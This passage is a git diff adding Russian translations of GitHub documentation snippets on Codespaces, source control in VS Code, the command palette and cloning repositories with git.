No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/setup-custom-devcontainer.md b/translations/ru-RU/data/reusables/codespaces/setup-custom-devcontainer.md new file mode 100644 index 000000000000..6ad0dccef8d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/setup-custom-devcontainer.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7c8d446316e97bed4e63b3eb5ae7b8f9b1e4da40 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159866" +--- +Чтобы настроить репозиторий для использования пользовательского контейнера разработки, нужно создать один или несколько файлов `devcontainer.json`. Их можно добавить из предопределенного шаблона конфигурации в {% data variables.product.prodname_vscode %} или написать собственный. Дополнительные сведения о конфигурациях контейнеров разработки см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). diff --git a/translations/ru-RU/data/reusables/codespaces/sidebar-secret.md b/translations/ru-RU/data/reusables/codespaces/sidebar-secret.md new file mode 100644 index 000000000000..1978c8f3a140 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/sidebar-secret.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fec39fa3873e316108a9782b2ca80c1e92ff7902 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148008690" +--- +1. В разделе "Безопасность" боковой панели выберите **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Секреты**, а затем щелкните **{% data variables.product.prodname_codespaces %}**. diff --git a/translations/ru-RU/data/reusables/codespaces/source-control-commit-changes.md b/translations/ru-RU/data/reusables/codespaces/source-control-commit-changes.md new file mode 100644 index 000000000000..ae548060a1de --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/source-control-commit-changes.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 0591199ee1d92622aaef5c89e7dcc3d1eab89bfe +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160166" +--- +{% data reusables.codespaces.source-control-display-dark %} +1. Чтобы подготовить изменения, щелкните знак **+** рядом с измененным файлом или рядом с элементом **Изменения**, если вы изменили несколько файлов и хотите подготовить их все. +![Боковая панель системы управления версиями с выделенной кнопкой промежуточного хранения](/assets/images/help/codespaces/codespaces-commit-stage.png) +1. Введите сообщение о фиксации, описывающее внесенное изменение. +![Боковая панель системы управления версиями с сообщением о фиксации](/assets/images/help/codespaces/codespaces-commit-commit-message.png) +1. Чтобы зафиксировать промежуточные изменения, установите флажок в верхней части боковой панели системы управления версиями. +![Щелкните значок галочки](/assets/images/help/codespaces/codespaces-commit-checkmark-icon.png) diff --git a/translations/ru-RU/data/reusables/codespaces/source-control-display-dark.md b/translations/ru-RU/data/reusables/codespaces/source-control-display-dark.md new file mode 100644 index 000000000000..798d5bb0206c --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/source-control-display-dark.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 209b6403b311949f0bdf620b2a7f352d77004bb2 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139134" +--- +1. На панели действий щелкните представление **Система управления версиями**. +![Представление "Система управления версиями"](/assets/images/help/codespaces/source-control-activity-bar-button.png) diff --git a/translations/ru-RU/data/reusables/codespaces/source-control-display.md b/translations/ru-RU/data/reusables/codespaces/source-control-display.md new file mode 100644 index 000000000000..08318b3f223b --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/source-control-display.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 71e2ec3467da38d33b5932466721c22465a05a43 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139129" +--- +1. На панели действий щелкните представление **Система управления версиями**. + + ![Представление "Система управления версиями"](/assets/images/help/codespaces/codespaces-commit-activity.png) diff --git a/translations/ru-RU/data/reusables/codespaces/source-control-pull-request.md b/translations/ru-RU/data/reusables/codespaces/source-control-pull-request.md new file mode 100644 index 000000000000..b4d494ee8893 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/source-control-pull-request.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: fe4475ec888b22062f49db7a8e87034125a35c94 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159805" +--- +1. После фиксации изменений в локальной копии репозитория щелкните значок **Создать запрос на вытягивание**. +![Боковая панель системы управления версиями с выделенной кнопкой промежуточного хранения](/assets/images/help/codespaces/codespaces-commit-pr-button.png) +1. Убедитесь в том, что локальная ветвь и репозиторий, из которых выполняется слияние, а также удаленная ветвь и репозиторий, с которыми выполняется слияние, выбраны правильно. Затем задайте для запроса на вытягивание название и описание. +![Боковая панель системы управления версиями с выделенной кнопкой промежуточного хранения](/assets/images/help/codespaces/codespaces-commit-pr.png) +1. Нажмите кнопку **Create** (Создать). diff --git a/translations/ru-RU/data/reusables/codespaces/source-control.md b/translations/ru-RU/data/reusables/codespaces/source-control.md new file mode 100644 index 000000000000..8ba8b08c2c83 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/source-control.md @@ -0,0 +1,63 @@ +--- +ms.openlocfilehash: c760b3f26f89437d485cc222de4fbc54fa907735 +ms.sourcegitcommit: f464cc9bfc41132f315ea172c591bfd145a06736 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: "148165463" +--- +## Публикация пространства кода, созданного на основе шаблона + +При создании пространства кода из репозитория шаблонов или шаблона на странице "Ваши codespaces" работа, которую вы выполняете, не будет храниться в репозитории в {% data variables.product.prodname_dotcom %}, пока вы не опубликуете codespace. Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-to-a-repository-on-github). + +{% data reusables.codespaces.publishing-template-codespaces %} + +## Создание или переключение ветвей + +{% data reusables.codespaces.create-or-switch-branch %} + +{% tip %} + +**Совет**. Если кто-то недавно изменил файл в удаленном репозитории, в ветви, на который вы переключились, эти изменения могут не отображаться, пока вы не извлекете изменения в codespace. + +{% endtip %} + +## Фиксация изменений + +{% data reusables.codespaces.source-control-commit-changes %} + +## Вытягивание изменений из удаленного репозитория + +Можно извлекать изменения из удаленного репозитория в codespace в любое время. + +{% data reusables.codespaces.source-control-display-dark %} +1. В верхней части боковой панели щелкните многоточие (**...**). ![Кнопка с многоточием для просмотра и других действий](/assets/images/help/codespaces/source-control-ellipsis-button.png) +1. В раскрывающемся меню выберите **пункт Вытягивание**. + +Если конфигурация контейнера разработки была изменена с момента создания codespace, вы можете применить изменения, перестроив контейнер для codespace. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration). + +## Настройка codespace для автоматического получения новых изменений + +Можно настроить codespace, чтобы автоматически получать сведения о любых новых фиксациях, внесенных в удаленный репозиторий. Это позволяет узнать, устарела ли локальная копия репозитория, и в этом случае можно извлечь новые изменения. + +Если операция получения обнаруживает новые изменения в удаленном репозитории, вы увидите количество новых фиксаций в строке состояния. Затем можно извлечь изменения в локальную копию. + +1. Нажмите кнопку **Управление** в нижней части панели действий. +![Кнопка "Управление"](/assets/images/help/codespaces/manage-button.png) +1. В меню щелкните **Параметры**. +1. На странице параметров выполните поиск: `autofetch`. +![Поиск автоматической выборки](/assets/images/help/codespaces/autofetch-search.png) +1. Чтобы получить сведения об обновлениях для всех удаленных параметров, зарегистрированных для текущего репозитория, установите **Git: Autofetch** на `all`. +![Включить автоматическую выборку Git](/assets/images/help/codespaces/autofetch-all.png) +1. Если вы хотите изменить количество секунд между каждой автоматической выборкой, измените значение **Git: Autofetch Period**. + +## Создание запроса на вытягивание + +{% data reusables.codespaces.source-control-pull-request %} + +## Отправка изменений в удаленный репозиторий + +Вы можете отправлять сохраненные и зафиксированные изменения. После этого изменения будут применены к вышестоящей ветви в удаленном репозитории. Это можно сделать, если вы еще не готовы создать запрос на вытягивание или если вы предпочитаете создать такой запрос в {% data variables.product.prodname_dotcom %}. + +1. В верхней части боковой панели щелкните многоточие (**...**). ![Кнопка с многоточием для просмотра и других действий](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) +1. В раскрывающемся меню щелкните **Отправить**. diff --git a/translations/ru-RU/data/reusables/codespaces/ssh-server-installed.md b/translations/ru-RU/data/reusables/codespaces/ssh-server-installed.md new file mode 100644 index 000000000000..4fb4b3e4bfc6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/ssh-server-installed.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 8c155db26d97e1f845638c790dd3cf1114eac47a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160216" +--- +На сервере codespace, к которому вы подключаетесь, должен быть запущен SSH-сервер. Образ контейнера по умолчанию включает сервер SSH, который запускается автоматически. Если codespaces не создаются из образа по умолчанию, можно установить и запустить сервер SSH, добавив следующую команду в `features` объект в `devcontainer.json` файле. + +```json +"features": { + ... + "ghcr.io/devcontainers/features/sshd:1": { + "version": "latest" + }, + ... +} +``` \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/starting-new-project-template.md b/translations/ru-RU/data/reusables/codespaces/starting-new-project-template.md new file mode 100644 index 000000000000..274fcb0f8696 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/starting-new-project-template.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 175259e6863efa78d746eef4f78de4acfa3bc6c7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160021" +--- +Если вы запускаете новый проект, может потребоваться создать codespace из шаблона и опубликовать его в репозитории на {% data variables.product.product_name %} позже. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/stopping-a-codespace.md b/translations/ru-RU/data/reusables/codespaces/stopping-a-codespace.md new file mode 100644 index 000000000000..007c23c74913 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/stopping-a-codespace.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4bdcc6ff93e7671d4dc368fc44784c963f549aae +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159048" +--- +Вы можете остановить пространство кода в любой момент. При остановке пространства кода все выполняемые процессы останавливаются, и журнал терминала очищается. Все сохраненные изменения в пространстве кода по-прежнему будут доступны при следующем запуске. Если не остановить пространство кода явным образом, оно будет продолжать работать до истечения времени ожидания в результате бездействия. Дополнительные сведения см. в разделе [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle#timeouts-for-github-codespaces). + +Плата за ЦП взимается только с запуска codespace. Остановленное пространство кода влечет за собой только затраты на хранение. + +Может потребоваться остановить и перезапустить пространство кода, чтобы применить к нему изменения. Например, при изменении типа виртуальной машины, используемой для пространства кода, необходимо остановить и перезапустить его, чтобы изменения вступили в силу. Вы также можете остановить пространство кода и перезапустить или удалить его, если возникла ошибка или произошло что-то непредвиденное. diff --git a/translations/ru-RU/data/reusables/codespaces/template-codespaces-default-editor.md b/translations/ru-RU/data/reusables/codespaces/template-codespaces-default-editor.md new file mode 100644 index 000000000000..242e3bcbb6bd --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/template-codespaces-default-editor.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 56dc7f61a1ed68ffdb7e90f7edae615a8e428cad +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159957" +--- +При создании нового пространства кода на основе шаблона оно всегда открывается в веб-клиенте {% data variables.product.prodname_vscode %}. Вы можете повторно открыть существующее пространство кода в любом поддерживаемом редакторе. Дополнительные сведения см. в разделе [Открытие существующего пространства кода](/codespaces/developing-in-codespaces/opening-an-existing-codespace). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/type-port-label.md b/translations/ru-RU/data/reusables/codespaces/type-port-label.md new file mode 100644 index 000000000000..461f6cc39660 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/type-port-label.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1d84f8866b2cf274ee6eb8e5c80fb7599bd1b976 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139121" +--- +1. Введите метку для порта, а затем нажмите клавишу ВВОД. + ![Текстовое поле для ввода метки порта](/assets/images/help/codespaces/label-text-box.png) diff --git a/translations/ru-RU/data/reusables/codespaces/usage-report-download.md b/translations/ru-RU/data/reusables/codespaces/usage-report-download.md new file mode 100644 index 000000000000..472c3505e860 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/usage-report-download.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: c03f2677064bae6362b21c172725d334a2b22994 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160142" +--- +1. При необходимости рядом с полем "Использование в этом месяце" щелкните **Получить отчет об использовании** , чтобы получить сообщение электронной почты, содержащее ссылку для скачивания отчета об использовании хранилища CSV для {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} и {% data variables.product.prodname_github_codespaces %}. Это сообщение электронной почты отправляется на основной адрес электронной почты вашей учетной записи. Вы можете выбрать период отчета: 7, 30, 90 или 180 дней. + + ![Загрузить отчет в формате CSV](/assets/images/help/billing/actions-packages-report-download.png) + + Данные, используемые для этого отчета, обновляются ежедневно. + + Чтобы просмотреть затраты на использование и хранение вычислительных ресурсов {% data variables.product.prodname_github_codespaces %}, отфильтруйте отчет, чтобы в `Product` столбце отображались только строки с упоминанием Codespaces. + + ![Снимок экрана: отчет об использовании, отфильтрованный по {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/CSV-usage-report.png) + + Чтобы просмотреть только затраты на создание, обновление и хранение предварительных сборок, отфильтруйте отчет, чтобы в `Actions Workflow` столбце отображались только строки с упоминанием "Create Codespaces Prebuilds". + + ![Снимок экрана: отчет об использовании, отфильтрованный по предварительным сборкам](/assets/images/help/codespaces/CSV-usage-report-prebuilds.png) diff --git a/translations/ru-RU/data/reusables/codespaces/use-chrome.md b/translations/ru-RU/data/reusables/codespaces/use-chrome.md new file mode 100644 index 000000000000..1fe41f4ed9c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/use-chrome.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 28b050801ea07a3ef9a6644f45e9e987c9ed21a9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160136" +--- + +Для оптимальной работы с {% data variables.product.prodname_github_codespaces %} рекомендуется использовать браузер на основе Chromium, например Google Chrome или Microsoft Edge. diff --git a/translations/ru-RU/data/reusables/codespaces/use-visual-studio-features.md b/translations/ru-RU/data/reusables/codespaces/use-visual-studio-features.md new file mode 100644 index 000000000000..d11aed4864bc --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/use-visual-studio-features.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 53dca57b79476eae7e6a97449866a3965675b0be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145148731" +--- +Можно изменять код, отлаживать его и использовать команды Git при разработке в codespace с помощью {% data variables.product.prodname_vscode_shortname %}. Дополнительные сведения см. в [документации по {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs). diff --git a/translations/ru-RU/data/reusables/codespaces/using-codespaces-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/using-codespaces-in-vscode.md new file mode 100644 index 000000000000..cd2015dfade3 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/using-codespaces-in-vscode.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 93ed5f6170cc81999a5389dbc94453ac93023db1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109184" +--- +Чтобы использовать {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode_shortname %}, необходимо установить расширение {% data variables.product.prodname_codespaces %}. diff --git a/translations/ru-RU/data/reusables/codespaces/view-all-templates-step.md b/translations/ru-RU/data/reusables/codespaces/view-all-templates-step.md new file mode 100644 index 000000000000..96c47f88b8fa --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/view-all-templates-step.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 97424b3eef10bea63f1cb8006fc600107ab1a57b +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159869" +--- +1. Чтобы просмотреть полный список шаблонов, в разделе "Изучение шаблонов быстрого запуска" щелкните **Просмотреть все**. + + ![Снимок экрана: раздел "Изучение шаблонов быстрого запуска" с выделенным элементом "Просмотреть все"](/assets/images/help/codespaces/codespace-templates-see-all.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/vscode-interface-annotation.md b/translations/ru-RU/data/reusables/codespaces/vscode-interface-annotation.md new file mode 100644 index 000000000000..ce6bd72d702a --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/vscode-interface-annotation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e534b88265d2daba3b103080c5ed050adfb89459 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160141" +--- +1. **Боковая панель** . По умолчанию в этой области отображаются файлы проекта в проводнике. +2. **Панель действий** — отображает представления и предоставляет способ переключения между ними. Вы можете изменить порядок представлений путем их перетаскивания. +3. **Редактор** . Здесь можно редактировать файлы. Вы можете щелкнуть правой кнопкой мыши вкладку файла, чтобы получить доступ к таким параметрам, как поиск файла в проводнике. +4. **Панели** . Здесь можно просмотреть выходные и отладочные сведения, а также место по умолчанию для интегрированного терминала. +5. **Строка состояния** . В этой области содержатся полезные сведения о codespace и проекте. Например, это имя ветви, настроенные порты и многое другое. diff --git a/translations/ru-RU/data/reusables/codespaces/ways-to-create-a-codespace.md b/translations/ru-RU/data/reusables/codespaces/ways-to-create-a-codespace.md new file mode 100644 index 000000000000..6c65264a406c --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/ways-to-create-a-codespace.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e08e6c2bc7cb78f9fbbc7e5324387aa961365d20 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160058" +--- +codespace можно создать на веб-сайте {% data variables.product.prodname_dotcom_the_website %}, в {% data variables.product.prodname_vscode %} или с помощью {% data variables.product.prodname_cli %}. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/you-can-see-all-your-codespaces.md b/translations/ru-RU/data/reusables/codespaces/you-can-see-all-your-codespaces.md new file mode 100644 index 000000000000..14818da2c81f --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/you-can-see-all-your-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 382a130f43a11323c29a0af289976411c7609fe0 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878894" +--- +Все доступные среды codespace, созданные вами, можно просмотреть на [github.com/codespaces](https://github.com/codespaces). diff --git a/translations/ru-RU/data/reusables/codespaces/your-codespaces-procedure-step.md b/translations/ru-RU/data/reusables/codespaces/your-codespaces-procedure-step.md new file mode 100644 index 000000000000..301c35c260aa --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/your-codespaces-procedure-step.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e7e3c99d5666152f58d5ffb73a6b7ddad22fb18b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109183" +--- +1. Перейдите на страницу "Ваши codespaces" в [github.com/codespaces](https://github.com/codespaces). diff --git a/translations/ru-RU/data/reusables/command-palette/beta-note.md b/translations/ru-RU/data/reusables/command-palette/beta-note.md new file mode 100644 index 000000000000..d6adb99b5cad --- /dev/null +++ b/translations/ru-RU/data/reusables/command-palette/beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6e619bd77bbfe12016b95d727281946c7c86f279 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139086" +--- +{% note %} + +**Примечание**. {% data variables.product.prodname_command_palette %} в настоящее время находится на стадии общедоступной бета-версии и может измениться. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/command-palette/change-scope.md b/translations/ru-RU/data/reusables/command-palette/change-scope.md new file mode 100644 index 000000000000..2701718bcf69 --- /dev/null +++ b/translations/ru-RU/data/reusables/command-palette/change-scope.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f186c231019f78ada9d770aa7a0f68b89a299724 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009198" +--- +1. При необходимости можно сузить, расширить или полностью изменить область предложений, изменив путь в текстовом поле палитры команд. + + - Чтобы сузить область в учетной записи пользователя или организации, выделите репозиторий, а затем используйте клавишу TAB, чтобы добавить его в область. + - Чтобы расширить область, выделите и удалите элемент в области с помощью клавиши BACKSPACE или DELETE. + - Чтобы очистить область и текстовое поле, нажмите кнопку **"Очистить** " или нажмите клавиши CTRL+Backspace (Windows и Linux) или command+Delete (Mac). diff --git a/translations/ru-RU/data/reusables/command-palette/open-palette.md b/translations/ru-RU/data/reusables/command-palette/open-palette.md new file mode 100644 index 000000000000..0df5e0b5da45 --- /dev/null +++ b/translations/ru-RU/data/reusables/command-palette/open-palette.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d26603770646f394dab5731f92411b8849b6c2e9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139054" +--- +1. Нажмите клавиши CTRL+K (Windows и Linux) или COMMAND+K (Mac), чтобы открыть палитру команд с областью, определяемой текущим местонахождением в пользовательском интерфейсе. diff --git a/translations/ru-RU/data/reusables/command_line/change-current-directory-clone.md b/translations/ru-RU/data/reusables/command_line/change-current-directory-clone.md new file mode 100644 index 000000000000..5a1fecc5d678 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/change-current-directory-clone.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 67dbd7fd3e1d0c8764577d0940f1d1714bcb3ad4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139049" +--- +4. Измените текущий рабочий каталог на расположение, где должен находиться клонированный каталог. diff --git a/translations/ru-RU/data/reusables/command_line/git-clone-url.md b/translations/ru-RU/data/reusables/command_line/git-clone-url.md new file mode 100644 index 000000000000..52374168fda1 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/git-clone-url.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 2546e13c4e3c63e1726abfd04625eb39294f69b3 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008943" +--- +5. Введите `git clone` и вставьте URL-адрес, скопированный ранее. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY + ``` diff --git a/translations/ru-RU/data/reusables/command_line/local-clone-created.md b/translations/ru-RU/data/reusables/command_line/local-clone-created.md new file mode 100644 index 000000000000..111abbd260c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/local-clone-created.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 86e0a01249693889fe3de681db27f056f2e0c500 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009896" +--- +6. Нажмите клавишу **ВВОД**, чтобы создать локальный клон. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY + > Cloning into `Spoon-Knife`... + > remote: Counting objects: 10, done. + > remote: Compressing objects: 100% (8/8), done. + > remove: Total 10 (delta 1), reused 10 (delta 1) + > Unpacking objects: 100% (10/10), done. + ``` diff --git a/translations/ru-RU/data/reusables/command_line/manipulating_file_prereqs.md b/translations/ru-RU/data/reusables/command_line/manipulating_file_prereqs.md new file mode 100644 index 000000000000..ad8da98b0851 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/manipulating_file_prereqs.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 1ae27a9ea22c26a4ede654742113dc596be54161 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139033" +--- +В этой процедуре предполагается, что вы уже сделали следующее: + + - [создали репозиторий на {% data variables.product.product_name %}](/articles/creating-a-new-repository) или получили доступ к репозиторию, который принадлежит другому пользователю и в который вы хотите внести свой вклад; + - [клонировали репозиторий на локальном компьютере](/articles/cloning-a-repository). diff --git a/translations/ru-RU/data/reusables/command_line/open_the_multi_os_terminal.md b/translations/ru-RU/data/reusables/command_line/open_the_multi_os_terminal.md new file mode 100644 index 000000000000..99902cb5a39d --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/open_the_multi_os_terminal.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cdcceca318cc5196276525e07315564143c832f6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139030" +--- +1. Откройте ТерминалТерминалGIT Bash. diff --git a/translations/ru-RU/data/reusables/command_line/provide-an-access-token.md b/translations/ru-RU/data/reusables/command_line/provide-an-access-token.md new file mode 100644 index 000000000000..f2a89e69b480 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/provide-an-access-token.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML SSO{% ifversion pat-v2%} and you are using a {% data variables.product.pat_v1 %}{% endif %}, you must also authorize your {% data variables.product.pat_generic %} to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)" and "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)."{% endif %} diff --git a/translations/ru-RU/data/reusables/command_line/providing-token-as-password.md b/translations/ru-RU/data/reusables/command_line/providing-token-as-password.md new file mode 100644 index 000000000000..6a46b686c1b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/providing-token-as-password.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: e76c3ece72a7952e679fd840edc6b5f2866bace9 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008870" +--- +Получив маркер, вы можете ввести его вместо пароля при выполнении операций Git по протоколу HTTPS. + +Например, в командной строке введите следующее: + +```shell +$ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPO.git +Username: YOUR_USERNAME 